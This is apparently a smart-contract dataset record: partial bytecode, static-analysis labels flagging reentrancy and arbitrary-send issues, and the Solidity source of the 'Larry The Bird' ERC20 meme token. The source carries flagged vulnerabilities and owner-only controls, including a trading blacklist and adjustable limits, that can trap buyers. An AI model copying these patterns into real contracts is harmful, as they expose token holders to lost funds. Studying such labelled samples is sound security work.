825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206391d8dcde41e2820b22b9a669e518878ec20680d116c310bdc33a4cf1fb462764736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,804
0x7EBfae493c050F379495C4D4D69b09464BAb963d
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** Is the @Twitter Bird icon named after @Celtics legendLarry Bird? Biz Stone, one of the founders of twitter, also gave the correct answer: "Yes,it is". Telegram:https://t.me/LarryTheBirdETH Website:Coming soon */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LarryTheBird is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Larry The Bird"; string private constant _symbol = "LARRY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xe2180e9BF909BD8fBA652b5D654833948EaA556F); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 15000000 * 10**9; _maxWalletSize = 30000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e3f565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612962565b6104b4565b60405161018e9190612e24565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fe1565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061299e565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612913565b610632565b60405161021f9190612e24565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612885565b61070b565b005b34801561025d57600080fd5b506102666107fb565b6040516102739190613056565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129df565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a31565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612885565b610a01565b6040516103199190612fe1565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b5061034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612d56565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e3f565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612962565b610cc0565b6040516103da9190612e24565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a31565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c91906128d7565b611399565b60405161046e9190612fe1565b60405180910390f35b60606040518060400160405280600e81526020017f4c61727279205468652042697264000000000000000000000000000000000000815250905090565b60006104c86104c1611420565b8484611428565b6001905092915050565b6000678ac7230489e80000905090565b6104ea611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f21565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610626906132f7565b91505061057a565b5050565b600061063f8484846115f3565b6107008461064b611420565b6106fb8560405180606001604052806028815260200161371a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c869092919063ffffffff16565b611428565b600190509392505050565b610713611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f21565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f21565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f21565b60405180910390fd5b6000811161095857600080fd5b610986606461097883678ac7230489e80000611cea90919063ffffffff16565b611d6590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d0611420565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611daf565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1b565b9050919050565b610a5a611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f21565b60405180910390fd5b678ac7230489e80000600f81905550678ac7230489e80000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c41525259000000000000000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd611420565b84846115f3565b6001905092915050565b610ce6611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f21565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da083678ac7230489e80000611cea90919063ffffffff16565b611d6590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df8611420565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611e89565b50565b610e39611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f21565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90612fc1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128ae565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128ae565b6040518363ffffffff1660e01b81526004016110da929190612d71565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128ae565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612dc3565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612a5a565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066354a6ba7a18000600f81905550666a94d74f4300006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611343929190612d9a565b602060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113959190612a08565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90612fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90612ec1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e69190612fe1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90612e61565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90612f41565b60405180910390fd5b6001600a81905550600c600b8190555061172e610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179c575061176c610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118455750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61184e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119675750600e60179054906101000a900460ff165b15611aa557600f548111156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890612e81565b60405180910390fd5b601054816119be84610a01565b6119c89190613117565b1115611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090612f81565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5457600080fd5b601e42611a619190613117565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b505750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bbc576001600a81905550600c600b819055505b6000611bc730610a01565b9050600e60159054906101000a900460ff16158015611c345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4c5750600e60169054906101000a900460ff165b15611c7457611c5a81611e89565b60004790506000811115611c7257611c7147611daf565b5b505b505b611c81838383612183565b505050565b6000838311158290611cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc59190612e3f565b60405180910390fd5b5060008385611cdd91906131f8565b9050809150509392505050565b600080831415611cfd5760009050611d5f565b60008284611d0b919061319e565b9050828482611d1a919061316d565b14611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190612f01565b60405180910390fd5b809150505b92915050565b6000611da783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612193565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b5050565b6000600854821115611e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5990612ea1565b60405180910390fd5b6000611e6c6121f6565b9050611e818184611d6590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f155781602001602082028036833780820191505090505b5090503081600081518110611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff557600080fd5b505afa158015612009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202d91906128ae565b81600181518110612067577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120ce30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612132959493929190612ffc565b600060405180830381600087803b15801561214c57600080fd5b505af1158015612160573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61218e838383612221565b505050565b600080831182906121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d19190612e3f565b60405180910390fd5b50600083856121e9919061316d565b9050809150509392505050565b60008060006122036123ec565b9150915061221a8183611d6590919063ffffffff16565b9250505090565b6000806000806000806122338761244b565b95509550955095509550955061229186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123728161255b565b61237c8483612618565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d99190612fe